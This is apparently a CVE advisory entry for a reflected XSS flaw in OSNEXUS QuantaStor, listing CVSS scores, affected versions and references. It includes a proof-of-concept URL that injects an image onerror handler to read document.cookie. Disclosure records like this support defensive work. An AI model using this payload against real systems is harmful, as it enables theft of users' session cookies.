CVE-2021-42080

An attacker is able to launch a Reflected XSS attack using a crafted URL.

POC:

Visit the following URL
https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
Cross-site Scripting
ProviderTypeBase ScoreAtk. VectorAtk. ComplexityPriv. RequiredVector
NISTNIST
7.4 HIGH
NETWORK
LOW
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
DIVDCNA
7.4 HIGH
NETWORK
LOW
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
CVEADP
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CISA-ADPADP
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Base Score
CVSS 3.x
EPSS Score
Percentile: 29%
VendorProductVersion
osnexusquantastor
𝑥
< 6.0.0.355
𝑥
= Vulnerable software versions
Common Weakness Enumeration
References
https://csirt.divd.nl/CVE-2021-42080
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus
https://csirt.divd.nl/CVE-2021-42080
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus